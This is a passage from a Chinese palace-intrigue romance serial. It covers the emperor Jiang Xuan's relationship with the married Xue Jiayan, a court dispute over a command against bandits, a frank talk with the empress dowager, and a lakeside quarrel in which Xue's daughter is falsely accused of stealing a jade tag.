说着,她下意识拢了拢身上的锦被,将半张脸埋进柔软的被褥里,别开眼不敢看姜玄,语气却比刚才软了许多,没了先前那股生硬。 姜玄今年不过十九岁,正是血气方刚的年纪,又近一个月没见薛嘉言,心底的念想早已翻涌。可方才她的态度和语气都带着别扭,不知怎的,竟没了非要不可的冲动。 他没有掀开被子,只是隔着一层柔软的锦缎,轻轻将她圈进怀里,下巴抵着她的发顶,温热的气息拂过她的耳廓,带着纵容:“罢了,你心情不好,今晚便饶了你。” 薛嘉言闻言,身子轻轻扭了一下,语气里带着几分试探:“皇上若是不要,那……那臣妇便回家去了?” 姜玄没有拦她,只松了圈着她的手。 薛嘉言连忙掀开被子,慌慌张张地穿上中衣,刚系好领口的系带,手腕忽然被人攥住,姜玄又一把将她拉回自己怀里,胸膛的温热透过薄薄的衣料传来,他低头在她耳边低语,声音轻柔:“朕没有要薛二姑娘进宫,你别听外头人瞎传。她当日有救驾的心意,朕也只赏了些金银绸缎而已。” 薛嘉言的心脏“砰砰”狂跳起来,脸上有些发烫。她有些不明白,姜玄为何要跟她解释这些?他是帝王,纵是真要纳薛思韫入宫,也无需向她这个“外室”报备。 她张了张嘴,却不知该说什么,只能含糊地“嗯”了一声,将脸埋在他的肩头,不敢抬头看他的眼睛。 此刻窝在姜玄怀里,她能清晰感觉到他身体的变化,那股熟悉的灼热透过衣料传来,显然他并非全无念想。 姜玄把她抱得很紧,呼吸有些粗重,埋在她颈间亲了一口。 薛嘉言脖子和耳朵都很怕痒,被他亲得半边身子酥麻,她想着,这中衣是白穿了,怕是还要脱掉。 可她刚把手放在扣子上,姜玄却松开了她,扬声唤了外面的千茉进来,吩咐道:“送薛主子回去。” 薛嘉言愣住了,着实有些诧异。 她明明能感觉到他的渴望,从前他素来不会这般克制,既然他一开始召她入宫,图的就是那点事,今日为何偏偏忍着? 纵她心里满是疑惑,却终究没敢多问,只能跟着千茉一步步走出长宜宫,坐上了回府的马车。 夜深人静,长街寂寥,唯有车轮滚过石板路沉闷声响,偶遇巡查的兵卒,车夫掏出腰牌便可继续前行。 这样沉寂的时刻,正适合沉思。 薛嘉言想起刚刚长宜宫发生的一幕,心有些慌,姜玄说她吃醋了?她真的在吃醋吗?很快,薛嘉言揉了揉自己的脸,让自己清醒一点,她怎么会吃皇帝的醋呢?实在荒唐可笑。 姜玄亦有些疑惑,他身体是想要的,可看到她那副完成任务的样子,心里很不舒服,失落夹着愤怒。 姜玄也不知道自己失落什么,愤怒什么,他一开始任由张鸿宝完成这件事,为的不就是她的身子吗? 可眼下,他想要的似乎更多。 第二日早朝,紫宸殿内烛火通明,文武百官按品级分列两侧,气氛却比往日凝重几分。 东南匪乱已扰了一月有余,今日议事的核心,依旧是该派谁领兵剿匪。 “陛下,东南匪患猖獗,若不早日平定,恐生民变!臣愿领兵前往,定将匪首擒回,以安民心!”肃国公薛嘉聿身着绯色官袍,上前一步躬身请战,声音洪亮。 姜玄坐在御座上,看了看肃国公,却始终不发一言。 殿内静了片刻,兵部尚书周显之也上前奏道:“陛下,肃国公虽忠勇,然其负责京畿东部防务,若离京过久,恐京中人心不稳。臣以为,建宁府都指挥佥事李诚亦可一战。建宁府卫所距匪乱之地不足五百里,李诚熟悉地形,领兵过去更为便捷。” 周显之话音刚落,殿内便有几位大臣附和,皆言李诚经验老道,是合适人选。 可姜玄却缓缓开口,声音平淡却带着不容置疑的威严:“让英国公之子徐昭去吧。” 此言一出,殿内顿时安静下来。 徐昭今年不过二十六岁,去年才刚升任汀州府指挥同知,虽出身将门,却从未独立领兵打过仗,经验远不及李诚。 周显之眉头一皱,又劝:“陛下,徐指挥虽有将门之风,可终究年轻,未曾经历大战……” “周尚书,”姜玄打断他的话,语气冷了几分,“经验是从实战中打磨出来的。此事朕已决定,无需再议。” 一句话堵得周显之再无言语,众臣见帝王态度坚决,想到英国公当年威名,将门虎子,徐昭应该也不会弱。 早朝结束后,姜玄回到后殿,坐在软榻上,抬手揉了揉发胀的太阳穴。 张鸿宝见状,连忙上前,殷勤地问道:“陛下,可是头疼得厉害?奴才给您按按?” 姜玄嗯了一声,靠在椅背上闭上眼。 张鸿宝小心翼翼地取下他头上的通天冠,指尖沾了些舒缓头痛的药膏,轻轻按揉着他的太阳穴,力道不轻不重,恰到好处。 “张鸿宝,”姜玄忽然开口,“听说外头有传言,说朕要纳肃国公府的二姑娘入宫?” 张鸿宝的手猛地顿了一下,随即又很快恢复动作,小声回道:“禀陛下,外头……确实有些这样的传言。” 姜玄忽然“嘶”了一声,张鸿宝心里一紧——不知是自己按重了,还是这回答惹得陛下不满。 他连忙放缓力道,大气不敢出,只等着姜玄继续说话。 过了片刻,姜玄才缓缓睁开眼,眼底带着几分冷意:“你一会儿去找苗菁,传朕的话,让他查一查,这谣言到底是谁先传出来的,背后有没有人在推波助澜。” “是!”张鸿宝应了一声。 张鸿宝的指腹还在轻柔按压着姜玄的太阳穴,殿外忽然传来通报声:“太后娘娘驾到——” 姜玄睁开眼,眼底的慵懒瞬间褪去,抬手示意张鸿宝退下,自己则迅速坐直身子,理了理龙袍下摆。不多时,太后身着酱紫色绣团龙纹的宫装,带了两名宫女走进殿内,脸色有些沉。 第46章 母子 “儿臣见过母后。”姜玄起身行礼。 太后抬手示意,径直走到姜玄身侧的软榻坐下,又挥挥手让随行宫女站远些,开门见山地问道:“皇上,东南匪乱之事,哀家听说你定了让徐昭领兵?李诚明明就在建宁府,离匪乱之地不过五百里,他从军二十余年,经验何等丰富,怎么看都是最合适的人选,你为何偏要选毫无实战经验的徐昭去?” 太后话里的不满,姜玄自然听得出。 李诚是太后的堂姐夫,东南匪乱的消息刚传到京城,李诚就给家里递了信,满心盼着能领兵剿匪。 承平年间少有战事,武将想立功晋爵,全靠这种剿匪平乱的机会。太后的堂姐特意入宫求了她,太后原以为这事十拿九稳,论资历、论地利,李诚都无可挑剔,却没料到姜玄竟跳过他,选了个毛头小子。 姜玄语气平静道:“母后,此事早朝已议定,徐昭领兵的圣旨也已拟好,今日便会发出,不好再更改了。” “你……”太后猛地抬眼,定定看着姜玄,眼神复杂得很,终是按捺不住焦躁问道:“皇上不选李诚总要有原因吧?是因为李诚是哀家的堂姐夫?” “母后怎会如此想?”姜玄抬头,语气带着几分无奈,“朕只是觉得,朝中年轻将领需多些历练机会,徐昭出身将门,有勇有谋,不过是缺些实战经验,此次剿匪正是个好机会。” 太后并不相信姜玄的托词,她与姜玄有五年的母子情分,又扶持着他坐稳了皇位,向来有话直说的,便问道:“皇上,自西山春狩回来,你便对哀家日渐疏远,连慈宁宫都少去了。哀家想不明白,到底是为了什么?这些年,从你出冷宫到登基,哀家自问从未亏待过你,事事都为你筹谋,你我之间,原不该有所隐瞒。” 看着太后眼底的委屈与失落,姜玄的心也跟着一沉。 他想起刚出冷宫时,太后亲自教导他读书,安排人教他骑射武艺,为了让他登上帝位处处周旋,帮他稳固帝位…… 姜玄沉默片刻,终是决定把话说开,语气放缓了些:“母后,朕近来政务繁忙,确实疏于去慈宁宫问候,并非有意疏远。只是……母后若想让儿臣纳李家姑娘为妃,大可开诚布公与朕说,不该……” 话说到一半,他却顿住了,想着怎么把话说得更委婉一些。 太后听得满脸震惊,眉头拧成了疙瘩,眼中满是疑惑:“皇上这话是什么意思?哀家何时想让你娶李瑶了?李瑶是外甥女,哀家喜欢她的性格,经常叫她来说话是有的,但从未有过让她入宫的念头,皇上是不是哪里误会了?” 她眸中的震惊与疑惑不似作假,姜玄看着她这模样,反倒怀疑是自己弄错了。 他沉吟片刻,还是把西山的事说了出来:“上次在西山春狩,朕去母后营帐赴宴,饮酒后有些头晕,李嬷嬷说帐内嘈杂,便引朕去旁边的空营帐歇息。没过多久,李瑶就过来给朕送解酒汤,她与朕说了一会话,朕便觉得浑身燥热不适,像是……像是中了媚药。” “什么?!”太后听完,眼睛瞬间睁得比平时大了一圈,语气又惊又怒,“竟有这种事?皇上,这肯定是误会!李瑶那孩子性子活泼了些,但绝不敢做这种不知廉耻的事,定是有误会!哀家这就回慈宁宫查明此事,给皇上一个交代。” 西山中媚药的事像块石头压在姜玄心底许久,一来是牵扯到他敬重的太后,二来事关帝王颜面,他始终没好意思当面提及。 如今两人把话说开,那股憋在胸口的郁气终于散了,他看着太后依旧带着几分忧虑的脸,放缓语气补充道:“母后放心,朕并非意气用事之人,不会因这点误会影响朝堂决策。其实不选李将军,还有一层缘故。” 太后看着姜玄,姜玄继续说道:“朕听闻,李将军这两年风湿旧疾犯得勤,身子已不如从前硬朗。东南之地湿热,瘴气又重,朕实在怕他去了那边吃不消。朕知道,李将军想要立功,借此调回京畿,朕会考虑的。至于徐昭,他虽年轻,却在汀州府练过两年兵,对南方地形熟悉,且性子沉稳,朕信他能担此任。” 太后闻言,沉默着垂了垂眼。她何尝不明白,皇帝今年不过十九岁,登基时日尚浅,亟需培养忠于自己的势力。老臣多有根基,难免掣肘,年轻将领却像一张白纸,更容易成为帝王心腹。姜玄此举,是在为自己铺路。 想通这层,她心里的郁结也散了大半,只轻轻点了点头:“皇上既有考量,哀家便不多言了。只是那媚药之事,哀家定会查个水落石出。说起来,哀家听闻皇上心悦薛二姑娘,可有此事?” 姜玄忙道:“母后,儿臣并无此意。” 太后点了点头,道:“皇上既然暂时不愿选妃,哀家也不强求。只是,皇上毕竟已经十九了,哀家宫里有两位宫女容貌秀丽,安排到长宜宫给皇上侍寝吧。” 寻常皇子十六岁宫里就会安排教习房事的宫女,但姜玄十六岁时正忙着跟兄长争夺大位,太后也忘了安排,便一直没有。 等他登基后事情又多,一直耽误到现在。 姜玄有些不好意思,低声道:“不用了,长宜宫里不缺宫女。” 太后以为他已经临幸了长宜宫的宫女,待出了紫宸殿遇到张鸿宝时,特意交代了一句:“皇上临幸了谁,让彤史记录清楚,若有身孕,尽快报到哀家这里来。” 张鸿宝躬身应是,实则出了一身冷汗,皇帝倒是临幸了,可是没办法记啊。 第47章 打脸 转眼到了黄昏,紫宸殿内烛火初燃,映着案上堆积如山的奏折。 姜玄正握着朱笔批阅,忽闻殿外通报“锦衣卫苗同知求见”,便放下笔道:“让他进来。” 苗菁身着官袍,步履沉稳地走进殿内,躬身行礼:“臣苗菁,叩见陛下。” “免礼。” 姜玄问道:“西山陷阱的事,查得如何了?” 苗菁站直身子回道:“禀皇上,臣已查明,那处陷阱是禁军负责清理猎场的一名总旗私下留下的。臣查到他的踪迹时,人已在城郊破庙里没了气息。臣查过他的底细,此人是个孤儿。” 姜玄冷哼一声:“好手段,倒是做得干净,死无对证。” 苗菁道:“手段干净,动机不明,臣不认为此人费尽心机,只为了往陛下身边塞人。” 姜玄点点头,同意了他的看法。 苗菁又继续汇报另一件事:“至于京中传言您要纳薛二姑娘入宫的事,臣也查清楚了,是薛二姑娘身边的张嬷嬷,私下里对外传播的。不过臣仔细查了薛家的动向,他们近期与那名禁军总旗并无往来,陷阱之事,应当与薛家无关,想来是张嬷嬷急于让自家姑娘攀附圣恩,才擅自散播的传言。” 天黑之后,一辆宫车停在肃国公府门前,随车而来的女官身着绣鸾纹的宫装,手持鎏金令牌,神色庄重地踏入府中。 肃国公薛嘉聿携家眷连忙迎上前,女官未带旨意,只面色沉静地说道:“奉陛下口谕,传肃国公府薛二姑娘身边张嬷嬷。” 张嬷嬷心里咯噔一下,强装镇定地从人群后走出,刚屈膝行礼,就听女官冷声道:“张嬷嬷搬弄口舌,笞颊二十,以儆效尤!” 话音未落,两名随行的宫监已上前按住张嬷嬷,将她按跪在地。一根细竹笞杖高高举起,“啪”的一声脆响,重重落在张嬷嬷脸颊上。 张嬷嬷疼得惨叫一声,身子剧烈颤抖,第二杖、第三杖接踵而至,不过片刻,她的脸颊已肿得像熟透的桃子,红痕交错,血丝从嘴角渗出,哭声凄厉得让人心头发紧。 站在第二排的薛思韫,脸色瞬间变得惨白如纸,攥紧了拳头,一手好指甲差点被掐断,却没敢发出一点声音。 她看着张嬷嬷被打得奄奄一息,只觉得一股寒意从脚底窜上头顶,这哪里是打张嬷嬷的脸,分明是借着张嬷嬷,狠狠打在肃国公府的脸上! 其实肃国公府上下早就知道外头的流言,却始终装聋作哑。 姜玄年方十九,正是选妃的年纪,薛思韫出身国公府,容貌出众,又有“救驾”的名头,若是能第一个入宫,与皇帝的情分自然比后来者深厚,薛家的地位也能更稳固。 可他们万万没料到,姜玄竟会如此不给情面,直接派宫中人上门行刑,半点余地都不留。 二十杖打完,张嬷嬷早已没了力气哭喊,瘫在地上,脸上血肉模糊。女官上前查验一番,确认行刑完毕,才对着薛嘉聿微微颔首,转身带着宫监离去,自始至终没再多看薛家人一眼。 宫车驶离后,肃国公府的庭院里一片死寂。薛嘉聿脸色铁青,许久才深吸一口气,转向一旁脸色同样难看的婶娘杨氏,语气冰冷:“婶娘,过几日便给思韫安排相看吧。” “大哥!”薛思韫猛地抬头,泪水终于忍不住夺眶而出,声音哽咽得不成样子。 她一直忍着,从宫官进门到张嬷嬷被打,她都强撑着没哭,可听到“安排相看”“早些嫁出去”的话,一颗悬了许久的芳心终于彻底碎裂。 她曾满心期待着能入宫伴驾,哪怕只是个低阶嫔妃,只要能陪伴在皇帝身边,她便满足了。 可今日这场羞辱,彻底打碎了她的念想,也让她明白,皇帝对她不仅无半分情意,甚至连基本的颜面都不愿给。她捂住脸,泪水从指缝间涌出,压抑的哭声终于在庭院里响起。 薛嘉聿低声道:“思韫,皇上已经给咱们留脸了,若不然,便是明日白日上门来打脸了。你明白的我的意思吗?” 薛思韫含泪点头,哽咽着道:“我明白。” 四月的京城正是好时节,暖风拂过湖面,吹得碧波粼粼,岸边的柳丝垂着新绿,海棠花落了满地胭脂色,连空气里都裹着清甜的花香。 棠姐儿自上次病愈后,足有一个多月没踏出府门,这些日子总是问“娘,什么时候能去玩呀”,薛嘉言见她精神日渐饱满,便约了郭晓芸,选了个阳光和煦的午后,一同去城外的小翠湖泛舟。 乌篷船缓缓荡在湖心,奶娘抱着棠姐儿坐在船舷边上,司春递过一小篮碎馒头,小家伙捏着馒头屑往水里撒,引得一群锦鲤围着船舷打转,棠姐儿的笑声清脆得像风铃。 薛嘉言则与郭晓芸坐在船舱里说话,桌上摆着一壶新沏的茶,几碟精致的茶点。 郭晓芸穿了件湘妃色绣兰纹的襦裙,鬓边只簪了支素银簪子,却难掩眼底的温润光泽,显然近来生活安稳,气色比从前好了太多。 薛嘉言握着茶盏,心里其实想问她与苗菁的近况,可想起郭晓芸还在为徐维守孝,这般私密的话终究不宜此时提起,便只捡些闲话家常:“前几日我让司雨去采买,见市集上新到了江南的绫罗,颜色鲜丽得很,等过几日得空,咱们一起去瞧瞧?” 郭晓芸笑着应下,两人有一搭没一搭地聊着,时光倒也惬意。 不多时,棠姐儿瞥见湖边草地上满是放风筝的人,五彩的风筝在蓝天上飘着,有蝴蝶、有仙鹤,还有威风的老虎,她顿时坐不住了,晃着薛嘉言的胳膊撒娇:“娘,我也要放风筝!我要那个兔子的!” 薛嘉言拗不过她,便吩咐船夫将船划到岸边,一行人下了船,在岸边的小贩那里挑了只雪白的玉兔风筝,竹骨轻巧,绢面细腻,棠姐儿抱着风筝,笑得眼睛都弯了。 司春帮着拉线,棠姐儿在草地上跑着,玉兔风筝渐渐飞了起来,越飞越高,几乎要融进云端。 郭晓芸正笑着拍手,忽然瞥见不远处的石板路上走来一行人,为首的妇人穿着石青撒花褙子,头戴赤金镶红宝石抹额,身后跟着十几个仆妇丫鬟。 她心里一动,连忙戳了戳薛嘉言的胳膊,压低声音道:“妹妹,你看那边,好像是肃国公府的高夫人。” 第48章 小偷 薛嘉言顺着她的目光看去,果然是高夫人!高夫人身旁不仅有薛家的人,还有几个高家人,显然也是来游湖的。 她心里一沉,不愿与这家人扯上干系,便装作没看见,转身帮着棠姐儿调整风筝线:“慢点跑,别摔着。” 谁知人算不如天算,到底还是牵扯上了。 棠姐儿的玉兔风筝在天空飘着飘着,竟与一只黑色的雄鹰风筝缠在了一起!司春急忙想扯回线,谁知两股线绞得太紧,“嘣”的一声,风筝线竟断了!两只风筝像断了翅的鸟,晃晃悠悠地飘向湖里,转眼就没入水中。 “我的风筝!我的雄鹰风筝!”一阵哭闹声突然响起,一个穿着宝蓝锦袍的小男孩跑了过来,大约五六岁的年纪,脸蛋圆嘟嘟的,却满脸蛮横,指着棠姐儿喊道,“是你弄坏了我的风筝!你要赔我!” 薛嘉言抬头一看,这孩子正是高家长房杨夫人的嫡幼子高允文,也就是高夫人的侄子。 棠姐儿被高允文的哭声吓了一跳,怯生生地躲到薛嘉言身后,小手紧紧攥着她的衣角。 薛嘉言叹了口气,牵着棠姐儿走上前,尽量放缓语气道:“这位小公子,实在对不住,风筝缠在一起也是意外。不知你这风筝是在哪里买的?我们按价赔给你,或是再给你挑一只更好的,你看如何?” 高允文身旁带着的丫鬟焦急道:“这可怎么办,这是大爷亲手做的呢。” 丫鬟做不了主,高允文又一直哭,薛嘉言无奈,只得带着高允文,走到不远处的青绸幄帐前。 高家的幄帐搭得精致,四周挂着素色纱帘,帐外立着四五个穿青布衫的仆妇,帐内则摆着几张梨花木交椅,几位衣着华贵的妇人正围坐在一起,面前的矮几上放着茶盏与果碟,说话声伴着茶香轻轻飘出。 薛嘉言停下脚步,整了整裙摆,上前一步躬身行礼,语气恭敬却不失分寸:“高夫人,杨夫人,各位太太安好。方才小女放风筝时,不慎与贵府小公子的风筝缠在一起,弄坏了公子的风筝,是我们的不是。不知这风筝价值多少,我照价赔偿,还望夫人与公子莫要见怪。” 帐内的几位妇人闻言,顿时停下了说话,你看看我,我看看你,眼神里带着几分微妙的打量,却没有一人先开口,最后目光都齐刷刷地落在了主位上的高夫人身上。 高夫人坐在最中间的交椅上,身形高瘦,一身石青绣暗纹的褙子衬得她肤色愈发白皙,她脸上常年没什么表情,眉眼间透着几分疏离的贵气。 她端着茶盏的手指纤细,闻言只是淡淡抬了抬眼,目光扫过薛嘉言,声音平静无波:“不过是个玩物罢了,值不了几个钱,这事算了,不必赔偿。” 薛嘉言心里刚要松一口气,正准备道谢,杨夫人却道:“这风筝可是大爷废了好几天功夫亲手做的,竹骨削得匀,绢面也是挑得最好的杭绸,允文拿到手后喜欢得不行,连睡觉都要放在床边呢,今儿才第一回拿出来放。” 这话一出,薛嘉言刚放松的神色又敛了敛,连忙再次躬身行礼,腰弯得比刚才更低了些,连声说道:“对不住。若是小公子不嫌弃,改日我让人寻一只更好的风筝送来,或是请巧手匠人照着原样再做一只,全凭夫人与公子吩咐。” 高夫人闻言,眉头微不可察地蹙了一下,抬眼看向杨夫人,轻轻摇了摇头。杨夫人见状,便讪讪地闭了嘴,端起茶盏假装喝茶。 高夫人才重新看向薛嘉言,语气依旧淡淡的:“罢了,既是无心之失,你也不必多费周折。” “多谢高夫人宽宏大量。”薛嘉言这才直起身,又行了一礼,这才转身离开。 薛嘉言走出几步,远远看着棠姐儿跟高允文蹲在地上,手里拿着一根小木棍,在草地上戳来戳去。两人凑在一起,头挨着头,不知在嘀咕些什么,偶尔还发出一阵清脆的笑声。 薛嘉言走上前,才看清两个孩子正用木棍扒拉着草地里的泥土,似乎在找蚯蚓。 方才还哭闹着要赔风筝的高允文,此刻早已没了蛮横的模样,手里捏着一条小小的蚯蚓,举到棠姐儿面前,语气里满是得意:“你看,我找到一条!” 棠姐儿也兴奋地晃了晃手里的树枝:“我也找到了!在这里!” 薛嘉言本不想孩子跟高家人接触,但因为身世的关系,她在京城并没什么亲友,戚家根基浅,亲戚都在老家,以至于棠姐儿并无什么小孩子一起玩耍,难得看到她如此开心,薛嘉言也不忍心把孩子带走,只能让司春一直跟着孩子,保证不出意外。 夕阳把湖面染成一片暖金,到了该回家的时辰了。棠姐儿攥着高允文塞来的麦芽糖,小手挥得高高的:“小哥哥,下次我们还能来这里找蚯蚓吗?” 高允文也咧着嘴笑,点头道:“好啊,下次咱们还来。” 高允文说完就被身后的丫鬟拉了往高家的幄帐走去了。 薛嘉言牵着女儿的手,正要跟郭晓芸一同回去,身后忽然传来急促的脚步声。 回头时,就见杨夫人领着高允文快步走来,她脸上带着毫不掩饰的鄙夷,大声道:“站住!我们家允文脖子上挂的玉牌呢?方才就你们家姑娘跟他凑在一起玩,是不是被她偷偷拿走了?” 薛嘉言的脸色瞬间沉了下来,将棠姐儿往身后护了护。棠姐儿被这阵仗吓了一跳,却还是紧紧抱住母亲的腿,小脸蛋涨得通红,声音脆生生却带着坚定:“我没有拿!我连碰都没碰过他的玉牌!” 高夫人根本没理会棠姐儿的辩解,低头盯着高允文,语气带着催促:“允文,你说!刚才是不是把玉牌拿给她看了?” 高允文捏着衣角,眼神飘了飘,还是点了点头小声道:“是……我给她看了,我说这是祖父送我的生辰礼,她还夸我的玉牌好看呢。” 第49章 纠纷 “我那是礼貌!”棠姐儿急得眼眶都红了,仰着头对高夫人说,“阿娘教我的,别人跟我炫耀东西,要顺着夸两句,这是规矩!我就看了一眼,连玉牌上刻的是什么没看清,更没有拿!” 高允文梗着脖子道,“肯定是你拿了!我今天就跟你一个人玩了,没有别人靠近过!” 薛嘉言心里一阵懊悔,方才见两个孩子玩得投契,便没及时拉开,竟惹出这样的麻烦。 正想开口再理论,周围已经围拢了不少准备归家的游人,交头接耳地议论着这边的动静。 “杨夫人,我女儿不会拿别人的东西,你们最好自己去找一找。”薛嘉言不卑不亢说道。 杨夫人斜睨着薛嘉言,嘴角勾起一抹刻薄的笑,声音故意扬高,让周围人都能听见:“你说没拿就没拿?也不看看你们家是什么底细,最是爱偷东西!连人都偷!上梁不正下梁歪,怕是见我们家这玉牌值些银子,就教唆孩子偷偷拿走了吧?” 这话像一把火,瞬间点燃了薛嘉言的怒火。她绝不能忍有人污蔑她的女儿!没等杨夫人再说下去,薛嘉言猛地扬手,掌心带着风,“啪”的一声脆响在炸开,正正落在杨夫人的脸颊上。 杨夫人捂着脸,整个人都僵住了。她睁圆了眼睛,难以置信地看着薛嘉言,嘴角的刻薄还没褪去,半边脸颊已经迅速腾起红肿的掌印,连说话都变得结结巴巴:“你……你竟敢打我?” 周围的议论声瞬间停了,所有人的目光都聚焦在这突如其来的一掌上,连郭晓芸都惊得下意识攥紧了帕子。 原本站在幄帐附近的高夫人远远瞧着这边的动静,等看到薛嘉言扬手打了弟媳一巴掌,她顿时变了神色带着人急匆匆赶了过来。 “反了天了!” 杨夫人气的胸脯剧烈起伏,指着薛嘉言尖声骂道,“你个不知廉耻的东西!偷了我们家的玉牌还敢动手打人!来人啊,现在就去五城兵马司报官,我要让她吃牢饭!” “不必去了,我就是五城兵马司的。”一道沉稳的男声忽然从人群后传来,打断了她的叫嚣。 众人纷纷回头,只见苗菁穿着一身青布便服,身形挺拔地站在那里,身后还跟着两个同样穿着便服的随从。 杨夫人愣了一下,上下打量着苗菁身上的便服,眼神里满是怀疑:“你……你真是五城兵马司的?” 苗菁上前一步,对着杨夫人拱手行礼,语气平和却带着不容置疑的笃定:“杨夫人,下官今日陪家人来游湖,恰巧撞见此处争执。不知方才究竟发生了何事,还请夫人细说一番。” 杨夫人见他能叫出自己的身份,又瞧着他气宇轩昂不像寻常人,脸色稍缓,便把事情经过添油加醋地说了一遍,强调薛嘉言“偷玉牌”“打诰命”。 苗菁听完,没立刻表态,只是招手让身后的两个随从上前,低声吩咐了几句。 两人点点头,快步走到高家小少爷高允文身边,蹲下身温和地跟他说了几句话,便牵着他往方才放风筝的草地走去。 杨夫人指着薛嘉言道:“这位大人,她不仅教唆女儿偷东西,还敢动手殴打诰命夫人,这可是大罪!还请大人把她关押起来,给我一个公道!” “杨夫人不必着急。”苗菁淡淡开口,目光扫过周围的人群,“事情尚未查清,稍等片刻。” 周围的游人里,有不少认识高家和肃国公府的,纷纷交头接耳起来:“那不是高夫人吗?对面那个就是外头那个平妻生的……” “难怪吵起来了,这两家的恩怨早就传得沸沸扬扬了……” …… 这些窃窃私语像细小的针,扎得薛嘉言脸颊发烫,她紧紧握着棠姐儿的手,只觉得浑身不自在。 就在这时,远处传来随从的声音:“找到了!王牌在这儿呢!” 众人循声望去,只见一个随从手里提着一块莹白的暖玉牌,快步走了过来,另一个随从牵着高允文,小声解释道:“玉牌掉在了刚才找蚯蚓的土坑里,被杂草盖住了,高小少爷自己也没注意。” 薛嘉言悬着的心终于落了地,积压的怒火瞬间爆发出来,她上前一步,盯着杨夫人,语气冰冷:“我说了,我女儿绝不会拿别人的东西!你不分青红皂白就冤枉她是小偷,还连带羞辱我们全家,现在玉牌找到了,你又该怎么说?” 杨夫人看着那块失而复得的玉牌,脸色青一阵白一阵,眼神躲闪着,却还是强撑着面子,梗着脖子道:“就算玉牌找到了,那又如何?你方才动手打了我,我可是朝廷册封的诰命夫人,你殴打诰命,这笔账总不能就这么算了!” “夫人息怒。”苗菁上前打圆场,语气依旧平和,“这位太太也是因为女儿被冤枉,一时情急才失了分寸。谁被人污蔑成小偷,恐怕都难以心平气和。依下官看,不如让薛太太给您道个歉,这事就此揭过,也免得伤了和气,您看如何?” “道歉?当然不行!”杨夫人冷笑一声,还想再说什么,却被高夫人悄悄拉了一把胳膊。 高夫人的目光在苗菁脸上停留了片刻,她认出来苗菁是谁了,上次宫宴她看过到苗菁跟皇帝说话,肯定不是五城兵马司的官员,应是天子近臣。 她凑近弟媳的耳边,压低声音道:“算了,这里人多眼杂,别闹了。” 杨夫人虽满心不甘,却素来听大姑姐的话,只能悻悻地闭了嘴。 薛嘉言深吸一口气,压下心头的火气,对着杨夫人微微躬身:“夫人,方才是我冲动了,抱歉。” 杨夫人没应声,只是狠狠瞪了她一眼,转身带着一行人悻悻地离开了。 眼见高家人离去,苗菁转身对着还围在附近的游人挥了挥手,大声道:“诸位乡亲,事情已了,都散了吧,早些归家要紧。” 众人本就是来看热闹的,此刻见再无波澜,便三三两两地散去,湖边的暮色里,终于只剩他们几人。 第50章 想给她封诰命 薛嘉言牵着棠姐儿上前,对着苗菁深深躬身,郑重道谢:“今日多亏苗大人及时出现,不然我真不知该如何收场。” 苗菁连忙侧身避开,目光转向一旁的郭晓芸,嘴角牵起一抹浅淡的笑意,语气比刚才柔和了几分:“不必这么客气,我今日刚好下值,想着晓芸姐来游湖,便顺路过来接她回去,没想到正巧遇上这事。” 郭晓芸闻言,脸颊瞬间泛起一层薄红,连忙拢了拢鬓边的碎发,故作平淡地说道:“是啊,真是赶巧了。若不是你来得及时,高家那样不依不饶,我们指不定要被缠到什么时候呢。” 几人一同往停着马车的地方走,暮色将他们的影子拉得很长,湖边的风带着水汽,吹得人心里微凉。 郭晓芸看薛嘉言一直皱着眉,脸色沉沉的,便轻声问道:“薛妹妹,你说……高家今日这事,会不会是故意的?那玉牌好端端的,怎么偏偏这时候丢了?亏得找到了,若不然棠姐儿小小年纪就被冤枉偷东西,这高家人心可真毒。” 薛嘉言心绪像被揉乱的线团,乱得厉害。她摇了摇头,声音带着沉闷:“不管是不是故意的,总之我很生气。” 她真的很生气,她本是吕家堂堂正正的嫡女,若不是因为父亲,她根本不会姓薛,更不会卷入薛家与高家的恩怨。 她本该在江南长大,继承吕家的产业,做个自在的女商人,不必嫁给戚少亭那样阴险狡诈的窝囊废,也不必遇上姜玄那个不顾廉耻、抢夺臣妻的皇帝。 她和母亲从未亏欠过高家分毫,母亲当年成亲时根本不知道父亲在京城已有妻室,可高家却一次次地羞辱她们,前世母亲遭受数次言语侮辱,今日棠姐儿当众被污蔑是小偷,薛嘉言真真是怒不可遏。 从前她只想着,重生归来,弄死戚家人就算了。可今日高家的所作所为,像一把刀,彻底划破了她最后的隐忍,她不满足于只弄倒戚家了,她要让肃国公府、让高家,都付出代价! 回到戚府,薛嘉言哄棠姐儿睡下后,独自坐在窗边,望着窗外的月色发呆。 她反复琢磨着今日湖边的事,也愈发清醒地意识到,自己不过是个深宅妇人,既不能入朝为官执掌权柄,也没有家族势力可依傍,想要扳倒肃国公府和高家那样的勋贵门第,所能借助的,唯有姜玄的帝王之权。 想到这里,她心里不由得泛起几分悔意,上次入宫时,自己不该一时赌气说那些冷言冷语,若是因此惹得姜玄厌弃,不再召她入宫,那她所有的计划都将化为泡影。 薛嘉言起身唤来司春和司雨,压低声音吩咐:“你们找些轻薄的云纱,缝制一件贴身的纱衣,样式要雅致些。” 司春和司雨找了库房里最细软轻薄的云纱,躲在偏厢,小心翼翼地赶制纱衣,她们隐约猜到,这衣裳是给谁准备的。 同一时刻,皇宫长宜宫的寝殿内,烛火通明。 姜玄坐在御案后,听张鸿宝讲述今日湖边争执详情。 他越听眉头皱得越紧,尤其是听到杨夫人指责薛嘉言殴打诰命夫人时,气息更是不稳,脸色阴沉。 待张鸿宝说完,姜玄问道:“朕现在能给她封个诰命吗?” 张鸿宝闻言,脸色瞬间白了几分,连忙上前一步,小心翼翼地劝道:“皇上,按例来说,诰命需等戚大人三年考满,政绩合格后,才能由吏部递折子申请,再经陛下御批,才能册封。薛主子如今……还得再等等。” “朕当然知道这些!”姜玄语气有些不耐烦,“朕是问,有没有办法现在就给她封诰命?” 张鸿宝心里咯噔一下,额角渗出细密的冷汗,只能硬着头皮继续解释:“皇上,这真的不行啊!女子封诰命,要么靠夫君、儿子的军功或政绩,要么是守节多年……” ”不行,她不能守节。“姜玄打断了张鸿宝的话。 张鸿宝心道是守不了,不还得陪您嘛。 他顿了顿,继续说道:“再不然就是有重大善举,比如太祖年间,皇商许家捐献了半幅身家救助河南灾民,太祖爷感念其义举,破例封了许家三位女眷诰命,其中一位还是刚嫁过去没多久的媳妇。” 姜玄沉默了,他自然知道薛嘉言的家世,她母亲虽是江南商人,却远算不上能捐献半幅身家的巨贾。 他喃喃自语:“就不能……不能无缘无故给她封一个吗?朕是皇帝,难道连这点主都做不了?” 